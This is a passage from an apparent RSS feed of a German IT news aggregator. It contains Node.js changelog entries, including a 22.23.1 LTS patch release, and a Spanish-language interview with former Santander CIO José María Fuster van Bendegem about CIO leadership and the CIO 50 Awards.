<li>[<a href="https://github.com/nodejs/node/commit/3f54c8ba32"><code>3f54c8ba32</code></a>] - <em><strong>Revert</strong></em> "<strong>stream</strong>: noop pause/resume on destroyed streams" (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63834/hovercard">#63834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cee279c5d6"><code>cee279c5d6</code></a>] - <strong>stream</strong>: remove unnecessary check (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63030" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63030/hovercard">#63030</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61b20f60a3"><code>61b20f60a3</code></a>] - <strong>test</strong>: update tls/crypto behaviour expectations when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63161/hovercard">#63161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a835363808"><code>a835363808</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 97bbc7247a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63417" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63417/hovercard">#63417</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a00297480b"><code>a00297480b</code></a>] - <strong>test</strong>: update WPT resources, interfaces and WebCryptoAPI (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62389/hovercard">#62389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5a95a2b055"><code>5a95a2b055</code></a>] - <strong>test</strong>: shorten path in net pipe connect errors (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63405" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63405/hovercard">#63405</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e8ff22d8f"><code>5e8ff22d8f</code></a>] - <strong>test</strong>: remove test-node-output-v8-warning (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63469" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63469/hovercard">#63469</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee15380950"><code>ee15380950</code></a>] - <strong>test</strong>: update test426-fixtures to 9b9e225b5a63139e9a95cdd1bf874a8f0b9d131 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63373" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63373/hovercard">#63373</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e063d9bea"><code>9e063d9bea</code></a>] - <strong>test</strong>: update WPT for url to e4a4672e9e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63372" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63372/hovercard">#63372</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/503bee4b43"><code>503bee4b43</code></a>] - <strong>test</strong>: deflake async-hooks statwatcher test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63396" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63396/hovercard">#63396</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cccc7c32d8"><code>cccc7c32d8</code></a>] - <strong>test</strong>: avoid test_runner watch restart in spec snapshot (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63392" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63392/hovercard">#63392</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c89489258c"><code>c89489258c</code></a>] - <strong>test</strong>: reduce watch mode restart flakiness (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63390" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63390/hovercard">#63390</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4d5e2578e"><code>e4d5e2578e</code></a>] - <strong>test</strong>: isolate rerun-failures state file under tmpdir (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/63449" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63449/hovercard">#63449</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/362644a9ba"><code>362644a9ba</code></a>] - <strong>test</strong>: wait for ok before initial break after restart (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62807" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62807/hovercard">#62807</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4058d0e05"><code>c4058d0e05</code></a>] - <strong>test</strong>: disable Maglev in near-heap-limit worker test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63398" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63398/hovercard">#63398</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/214da630a7"><code>214da630a7</code></a>] - <strong>test</strong>: deflake connection refused proxy tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63395" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63395/hovercard">#63395</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d61a29876"><code>1d61a29876</code></a>] - <strong>test</strong>: avoid repeated writes in watch helper (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63386" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63386/hovercard">#63386</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2004e25387"><code>2004e25387</code></a>] - <strong>test</strong>: deflake watch mode worker test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63384" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63384/hovercard">#63384</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d691cccfc1"><code>d691cccfc1</code></a>] - <strong>test</strong>: relax test-memory-usage arrayBuffers check (inoway46) <a href="https://github.com/nodejs/node/pull/63244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63244/hovercard">#63244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ff6bf853c"><code>0ff6bf853c</code></a>] - <strong>test</strong>: reduce flakiness of <code>different-registry-per-thread</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63244/hovercard">#63244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9f4e8e503"><code>d9f4e8e503</code></a>] - <strong>test</strong>: fix flaky test-watch-mode-inspect timeout (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63361" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63361/hovercard">#63361</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d7cd50328"><code>6d7cd50328</code></a>] - <strong>test</strong>: relax min assertion in test-performance-eventloopdelay (Marco) <a href="https://github.com/nodejs/node/pull/63100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63100/hovercard">#63100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9dafe1d2d8"><code>9dafe1d2d8</code></a>] - <strong>test</strong>: avoid flaky restart sync in debugger exceptions test (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62055" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62055/hovercard">#62055</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/989b2de973"><code>989b2de973</code></a>] - <strong>test</strong>: avoid initial-break wait in restart-message (inoway46) <a href="https://github.com/nodejs/node/pull/62060" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62060/hovercard">#62060</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a072a25ee7"><code>a072a25ee7</code></a>] - <strong>test</strong>: move FFI tests to <code>NATIVE_SUITES</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63165/hovercard">#63165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64efbfd878"><code>64efbfd878</code></a>] - <strong>test</strong>: use ERM to destroy sqlite database handles after tests (René) <a href="https://github.com/nodejs/node/pull/63076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63076/hovercard">#63076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dee66cd94"><code>7dee66cd94</code></a>] - <strong>test_runner</strong>: dont buffer unordered events in process isolation mode (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63432" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63432/hovercard">#63432</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d257eec1e3"><code>d257eec1e3</code></a>] - <strong>test_runner</strong>: fix --test-rerun-failures swallowing failures on retry (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/63431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63431/hovercard">#63431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/288c320e2f"><code>288c320e2f</code></a>] - <strong>test_runner</strong>: show replayed-from-attempt hint in spec reporter (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63429" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63429/hovercard">#63429</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/904bdf5bb4"><code>904bdf5bb4</code></a>] - <strong>test_runner</strong>: preserve run duration when using test-rerun (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63429" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63429/hovercard">#63429</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df183d7bfa"><code>df183d7bfa</code></a>] - <strong>test_runner</strong>: avoid hanging on incomplete v8 frames (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62704" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62704/hovercard">#62704</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec86c69726"><code>ec86c69726</code></a>] - <strong>test_runner</strong>: fix diagnostics channel context tracking (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63283" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63283/hovercard">#63283</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94e5f63b83"><code>94e5f63b83</code></a>] - <strong>tls</strong>: add unsupported renegotiation error (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63161/hovercard">#63161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06d308fb61"><code>06d308fb61</code></a>] - <strong>tools</strong>: prevent lib code from reading KeyObject and CryptoKey accessors (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e4a0d0c91"><code>2e4a0d0c91</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.5 to 5.0.6 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63415" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63415/hovercard">#63415</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9666b366"><code>4c9666b366</code></a>] - <strong>tools</strong>: skip commit-lint on backport pull requests (Marco) <a href="https://github.com/nodejs/node/pull/63378" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63378/hovercard">#63378</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67d0c490a8"><code>67d0c490a8</code></a>] - <strong>tools</strong>: fix skip of <code>test-internet</code> on forks (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63492" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63492/hovercard">#63492</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02f73c7cac"><code>02f73c7cac</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63075/hovercard">#63075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5d016d3241"><code>5d016d3241</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63374" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63374/hovercard">#63374</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55af0f0edb"><code>55af0f0edb</code></a>] - <strong>tools</strong>: fix test426 updater (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63271/hovercard">#63271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8475e167a"><code>d8475e167a</code></a>] - <strong>tools</strong>: use different branch for tool updates on staging branches (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63110" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63110/hovercard">#63110</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c605df9e50"><code>c605df9e50</code></a>] - <strong>util</strong>: remove unused functions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63612" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63612/hovercard">#63612</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe4540ebdb"><code>fe4540ebdb</code></a>] - <strong>util</strong>: create hex style cache and fast path (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/62999" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62999/hovercard">#62999</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-23, Version 22.23.1 'Jod' (LTS), @RafaelGSS]]></title>
<description><![CDATA[This release includes a fix for an unexpected behavior introduced
by the recent security release (22.23.0).
Commits

[41d2ee13be] - build: switch coverage-windows to windows-2022 (Richard Lau) #63940
[eaa292549e] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004]]></description>
<link>https://tsecurity.de/de/3619031/downloads/2026-06-23-version-22231-jod-lts-rafaelgss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619031/downloads/2026-06-23-version-22231-jod-lts-rafaelgss/</guid>
<pubDate>Tue, 23 Jun 2026 19:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release includes a fix for an unexpected behavior introduced<br>
by the recent security release (22.23.0).</p>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/41d2ee13be"><code>41d2ee13be</code></a>] - <strong>build</strong>: switch coverage-windows to <code>windows-2022</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/63940" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63940/hovercard">#63940</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eaa292549e"><code>eaa292549e</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[José María Fuster van Bendegem: “Un error típico es reducir la función del CIO a la del CTO”]]></title>
<description><![CDATA[Ingeniero, exdirectivo bancario de primerísimo nivel, académico español… Sin duda, José María Fuster van Bendegem es uno de los perfiles más polifacéticos e interesantes del escenario de la tecnología, la empresa y la ciencia en España. Conocido por haber sido, en el pasado, uno de los CIO más re...]]></description>
<link>https://tsecurity.de/de/3618850/it-nachrichten/jos-mara-fuster-van-bendegem-un-error-tpico-es-reducir-la-funcin-del-cio-a-la-del-cto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3618850/it-nachrichten/jos-mara-fuster-van-bendegem-un-error-tpico-es-reducir-la-funcin-del-cio-a-la-del-cto/</guid>
<pubDate>Tue, 23 Jun 2026 18:18:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Ingeniero, exdirectivo bancario de primerísimo nivel, académico español… Sin duda, <strong><a href="https://www.linkedin.com/in/jose-maria-fuster-van-bendegem/" target="_blank" rel="nofollow">José María Fuster van Bendegem</a></strong> es uno de los perfiles más polifacéticos e interesantes del escenario de la tecnología, la empresa y la ciencia en España. Conocido por haber sido, en el pasado, uno de los CIO más relevantes no solo de España sino del mundo, al liderar la transformación tecnológica global de Banco Santander, y por haber sido miembro de varios consejos de administración, como el Banco Español de Crédito, el Banco Santander UK, el Banco Santander Alemania, el Banco Santander USA, Sistemas 4B, Openbank (donde fue presidente) y Universia, Fuster ha destacado, en los últimos años, por una intensa labor científica.</p>



<p>De hecho, tras dejar el sector bancario, el ejecutivo dio un giro de 180 grados a su carrera y se reorientó hacia la ciencia teórica, la epistemología y el apoyo a las instituciones científicas, creando la <a href="https://fundacionsicomoro.org/" target="_blank" rel="nofollow">Fundación Sicómoro</a>, una institución privada sin ánimo de lucro de la que es presidente y que está enfocada en investigar la Teoría de Sistemas y entender la empresa y la sociedad como Sistemas Complejos Adaptativos. Además, Fuster es Académico de Honor de la Real Academia de Ciencias Exactas, Físicas y Naturales de España, como reconocimiento a su labor de mecenazgo y a su esfuerzo por estrechar los lazos entre la ciencia avanzada y la sociedad civil. El experto también ha tenido un papel relevante en el ecosistema emprendedor vinculado a la innovación. Hasta 2021 fue fundador y presidente de la sociedad de capital riesgo Chamberí Ventures y también fundador y CEO de Ecosistemas de Innovación Digitales.</p>



<p>Este ingeniero superior aeronáutico por la Universidad Politécnica de Madrid, Máster Universitario en Epistemología de las Ciencias Naturales y Sociales por la Universidad Complutense de Madrid, Máster en Dirección Financiera y Control por el Instituto de Empresa y Doctor en Filosofía por la Universidad Complutense de Madrid, <strong>forma este año parte del jurado de los próximos <a href="https://event.foundryco.com/cio-100-awards-espana/" rel="nofollow">CIO 50 Awards</a></strong>, la convocatoria de premios de referencia en el país que persigue distinguir a los mejores directivos de sistemas de información (CIO) y los proyectos de TI más innovadores. Los ‘Oscar de la industria de TI’, como se les conoce en todo el mundo, forman parte del proyecto global CIO Awards de la publicación internacional CIO del grupo editorial Foundry. El próximo 30 de junio finaliza el plazo de recepción de candidaturas a estos premios que se entregarán el 8 de octubre en Madrid.</p>



<p>Ante la próxima celebración de los galardones, el experto comparte por escrito con CIO ESPAÑA su visión sobre el liderazgo tecnológico y las claves que, a su juicio, distinguen a las organizaciones que convierten la innovación en resultados tangibles.</p>



<p><strong>Tras una trayectoria tan vinculada a la tecnología y la innovación, ¿qué valor aporta una visión científica al evaluar estas candidaturas?</strong></p>



<p>Para poder contestar a esta pregunta, voy a asumir que una evaluación es objetiva si utiliza criterios observables, medibles y comparables. En tal caso, la primera ventaja que me viene a la mente es que la objetivación reduce sesgos personales y mejora la equidad. Aunque, si aceptamos la validez de la célebre afirmación de Nietzsche de que “no hay hechos, solo interpretaciones, y esta afirmación es también una interpretación” tendríamos que la objetividad absoluta no existe, lo que es innegable es que, para el caso que nos ocupa, la reducción de sesgos subjetivos es evidente.</p>



<p>Si consideramos, como ejemplo, evaluar 50 candidaturas por 10 jueces, basados en el juicio de cada miembro del jurado, dado que cada juez introduciría sus sesgos y prejuicios en cada evaluación, tendríamos 500 casos difícilmente comparables. La evaluación basada en criterios comunes tendría, sin duda, el sesgo representado por los propios criterios de evaluación, pero ese sesgo sería común para todos los participantes, por lo que no atentaría a la equidad. El sesgo del jurado sería de segundo orden, relativo a la interpretación de los criterios, que sería único para cada juez. En definitiva, tendríamos una posible dispersión de criterios producto de 10 distintas interpretaciones, mitigadas en su impacto por ser de segundo orden.</p>



<p>Parece incuestionable que una dispersión de 500 casos de primer orden tiene una probabilidad mucho más alta de atentar a la equidad que una dispersión de 10 casos de segundo orden. Tendríamos un criterio más replicable y verificable, de modo que distintos evaluadores tenderían a llegar a resultados más consistentes. No hay duda de que un juicio experto de calidad, en contra las valoraciones objetivas, es más apropiado para captar la singularidad. Pero dado el número de candidaturas que se manejan, la ventaja de la equidad supera con creces la posible injusticia de no captar un caso singular por no acudir al juicio experto que, no se nos oculta, exigiría la máxima excelencia en la selección de los jueces.</p>



<p></p>



<p><strong>¿Qué aprendizajes de su propia experiencia como CIO de grandes compañías aplica al evaluar las candidaturas?</strong></p>



<p>En mi caso particular, el criterio que he adoptado es tratar de ceñirme al máximo al método objetivo definido para este concurso. Mi experiencia resulta especialmente útil para entender bien el método seleccionado, ya que los conceptos subyacentes me resultan no sólo conocidos, sino también, familiares.</p>



<p> </p>



<p><strong>¿Qué importancia tiene la capacidad de una organización para convertir conocimiento en resultados tangibles?</strong></p>



<p>Voy a partir de los conceptos definidos por el Santa Fe Institute, que es una institución dedicada al estudio de la complejidad y los sistemas complejos. Toda organización se puede conceptualizar como un sistema complejo adaptativo que tiene un “propósito” que va acompañado de un objetivo implícito que podríamos denominar “supervivencia del sistema”.  El conocimiento en una organización, ya sea formal o informal, resulta esencial tanto para conseguir el propósito, como para asegurar la continuidad de la organización en el tiempo, lo que requiere extender el conocimiento más allá de la propia organización, buscando la comprensión del entorno y su dinámica para poder asegurar la adaptación al mismo.</p>



<p>Lo anterior exige construir métricas, más allá de las puramente financieras, para poder gestionar mejor la organización a lo largo del tiempo; esas métricas constituyen la base para lo que podemos llamar “resultados tangibles” si y solo si se incorporan en los sistemas de gestión y la cultura de la organización.</p>



<p>No hay duda de que conseguir todo esto constituye un objetivo esencial para todo CIO que se precie, aunque es evidente que trasciende su papel, pues conseguir el propósito y preservar la organización son asuntos que conciernen a toda la organización en su conjunto.</p>



<p></p>



<p><strong>¿Cómo distingue una innovación puntual de una transformación con impacto sostenido?</strong></p>



<p>En las organizaciones se produce una considerable confusión entre los conceptos de innovación, mejora continua, gestión del cambio y transformación. La propia pregunta lleva implícita esta confusión. Si innovar presupone hacer algo nuevo, de una manera distinta, nos damos cuenta de que una sistemática de mejora continua puede, o no, incluir innovaciones. Por otra parte, poner en marcha cualquier mejora supone implantar cambios, es decir, siempre requiere una gestión del cambio. Además, una sistemática de mejora continua extendida en el tiempo puede resultar profundamente transformadora, aunque esté basada en la acumulación de múltiples pequeños cambios, algunos innovadores y otros no.</p>



<p>Así pues, tenemos que recurrir a otro concepto para poder responder a esta pregunta que es el de la “escala”. Hablamos de transformación cuando pretendemos cambiar la organización completa o un subconjunto importante de ella, independientemente del método que usemos para realizarla. Para que una transformación se pueda considerar exitosa debe producir impactos sostenibles en el tiempo a escala de la organización. La transformación siempre requiere una gobernanza “top down”.</p>



<p>Las innovaciones, incluso las mejoras puntuales, siempre estarán referida a una escala pequeña de la organización. Generalmente son resultado de una dinámica “bottom up”. Solo pueden producir impacto a escala completa si formaran parte de una estrategia de mejora continua que busque la acumulación de muchos cambios puntuales de manera sistemática a lo largo del tiempo y extendida a todas las partes de la organización afectada.</p>



<p></p>



<p><strong>¿Qué tecnologías o tendencias le gustaría ver reflejadas en las candidaturas de los próximos años?</strong></p>



<p>En un plano estrictamente tecnológico, creo que hay que prestar especial atención a las cuestiones siguientes: hibridación de clouds, buscando tanto evitar dependencias catastróficas para el futuro de la empresa, como asegurar mecanismos que protejan la eficiencia futura y eviten mecanismos de lock-in con un elevado coste potencial a futuro; definición de arquitecturas que hagan posible el despliegue de la IA agentiva, incorporando modelos avanzados de monitorización y control; y la utilización de los LLM para el desarrollo de sistemas avanzados. La clave aquí es ser capaz de utilizar el lenguaje natural para incorporar en las soluciones parte de la inteligencia informal que tienen todas las organizaciones.</p>



<p></p>



<p><strong>¿Qué papel cree que juega la inteligencia artificial en las estrategias tecnológicas más avanzadas?</strong></p>



<p>La inteligencia artificial debe comprenderse como una fase más del proceso de digitalización que comenzó la segunda década del siglo XX. La madurez del software basado en redes neuronales ha sido posible gracias al extraordinario incremento de la capacidad de computación, el desarrollo de las redes de comunicaciones digitales, la explosión de datos que recogen conocimiento en formato digital y el desarrollo del software.</p>



<p>Si la entendemos así, resulta tan inevitable como fueron los ordenadores personales a finales del siglo pasado o la Internet a comienzos del siglo XXI. Lo que estamos viviendo es la emergencia de una dimensión digital que se va haciendo omnipresente en nuestras vidas y que está redefiniendo todos los procesos económicos y sociales de una forma que aún no acabamos de captar de manera plena.</p>



<p>Para cualquier organización, la emergencia de esta nueva dimensión a escala planetaria hace aún más importante y urgente incorporar en sus estrategias una quinta dimensión, adicional a las definidas por el espacio y el tiempo, que podemos denominar “dimensión digital” y que viene a complicar (no a simplificar) la formulación de los planes. La razón para ello es que un mundo con cinco dimensiones es mucho más complejo que un mundo con cuatro, considerando además que las restricciones físicas operan de manera distinta en las cuatro dimensiones clásicas respecto a la dimensión digital.</p>



<p></p>



<p><strong>¿Qué tipo de proyectos cree que marcarán la referencia del liderazgo tecnológico en los próximos años?</strong></p>



<p>Tradicionalmente, los CIO operábamos en el marco de modelos de negocio estables que hacían posible concentrar nuestros esfuerzos en mejorar los procesos clave definidos por estos modelos de negocio. Podríamos decir que estábamos concentrados en mejorar las propuestas de valor, haciéndolas más atractivas, robustas, eficientes y mejorando su calidad con un marco conceptual relativamente estable.</p>



<p>Primariamente, se utilizaba información estructurada para realizar procesos que podríamos calificar como internos de la organización, sobre los que se ejercía un completo control. En el futuro veremos el desarrollo de procesos que serán partes de redes débilmente acopladas donde se ejercerá tan sólo un control parcial. El desarrollo de redes hará posible nuevos modelos de nodos y relaciones que dificultarán la estabilidad de los modelos de negocio.</p>



<p> La información no estructurada será cada vez más importante gracias a las posibilidades que ofrece la IA de capturar conocimiento no formalizado, y se producirá una tendencia creciente a compartir información, no necesariamente voluntaria, sino forzada por la presión competitiva y la búsqueda de mejoras de productividad y eficiencia.</p>



<p></p>



<p><strong>¿Qué mensaje enviaría a los CIO que aspiran a liderar la próxima generación de transformación digital?</strong></p>



<p>En primer lugar, se hace necesario reconocer un incremento de la complejidad, tanto en el panorama competitivo de las empresas, como en la enorme cantidad de opciones tecnológicas disponibles, y la creciente dificultad de acceder a talento adecuado para el reto que se presenta.</p>



<p>Dicho esto, un CIO que aspire a liderar la próxima generación de transformación tecnológicas debería trabajar los aspectos siguientes: un profundo conocimiento del sector en el que opera su empresa y los modelos de negocio exitosos en el mismo; un profundo conocimiento de las tecnologías disponibles y sus condiciones de uso; la capacidad de definir los distintos niveles de arquitectura necesarios en su organización así como comprender su madurez y evolución futura; y la flexibilidad para orquestar soluciones, seleccionando los componentes adecuados y combinándolas de manera única para satisfacer las exigencias de los modelos de negocio perseguidos.</p>



<p></p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“El problema de gobernar de manera integrada las demandas de la tecnología requiere una comprensión y compromiso de la alta dirección que, en muchos casos, no se produce, haciendo muy difícil la entrega de valor por parte del CIO”</em></strong></p></blockquote></figure>



<p></p>



<p><strong>¿Qué tres decisiones estratégicas definen realmente la calidad de un CIO?</strong></p>



<p>Primero, hay que ser consciente de que el rol primario de un CIO es operativo. En toda organización, las tecnologías de la información deben facilitar la eficiencia económica (más ingresos/ menos costes) y la calidad del funcionamiento, todo ello en un marco controlado de riesgo operacional. La incardinación en la estrategia de la empresa se basa en el hecho de que las tecnologías de la información han ido incrementando su peso en las estrategias empresariales de todo el mundo. La forma en la que el CIO puede contribuir al plan estratégico de la empresa es formulando arquitecturas robustas que lo faciliten.</p>



<p>Las tres decisiones estratégicas más importantes, estarían relacionadas con las tres arquitecturas fundamentales que debe definir una empresa avanzada, partiendo siempre de un marco de negocio bien definido: arquitectura de sistemas, que define el modelo de sistemas clave de la empresa, que hagan posible desarrollar sus procesos, tanto internos como externos y sus métricas clave de gestión; arquitectura de datos, donde se defina cuáles son los datos que constituyen una ventaja competitiva clave para la empresa, ya sean internos o externos y como convertirlos en un activo intangible; y arquitectura tecnológica, que refiere a la combinación de hardware, software y comunicaciones más óptima para operar los planes de la empresa.</p>



<p>Estas decisiones deben ir acompañadas por una reflexión sobre qué capacidades debe construir la empresa, cuales requieren socios estratégicos y cuales son externalizables, buscando optimizar proveedores.</p>



<p>Un CIO que no comprenda la necesidad de definir estas arquitecturas e incardinarlas en la estrategia de la empresa se verá arrastrado, en poco tiempo, a una dinámica compleja de priorización de demandas crecientes dominadas por la presión del día a día.</p>



<p> </p>



<p><strong>¿Qué error estratégico ves repetirse en muchos CIO hoy?</strong></p>



<p>Un típico error es reducir la función del CIO a la del CTO, rehuyendo la comprensión de los negocios y centrando las conversaciones en cuestiones estrictamente tecnológicas. Al hacer esto, dificulta la conversación con las unidades de negocio. Si el cambio tecnológico es realmente necesario, dificulta la adopción al perderse la pedagogía necesaria. Si el cambio tecnológico no es necesario, o tan sólo es “nice to have”, incurre en el riesgo de sobrearquitecturización o de incremento de complejidad innecesaria de las soluciones.</p>



<p>Otro error muy típico es la ausencia de planificación y gobierno en la gestión de los proyectos. Esto lleva a la creación de una especie de mercado persa de proyectos, que producen una proliferación de demandas, un incremento de costos y el riesgo de producir arquitecturas de tipo “spaghetti” que dificultan y hacen ineficiente la gestión futura de la tecnología. El problema de gobernar de manera integrada las demandas de la tecnología requiere una comprensión y compromiso de la alta dirección que, en muchos casos, no se produce, haciendo muy difícil la entrega de valor por parte del CIO.</p>


<div class="text text--no-top-margin"><h2></h2><p></p><p><a class="button button--primary" data-amp-height="40" target="_blank" href="https://es.surveymonkey.com/r/F89SFCM" rel="nofollow">Presente aquí su candidatura a los CIO 50 awards en españa</a></p></div></div></div></div></div>]]></content:encoded>
</item>
<item>
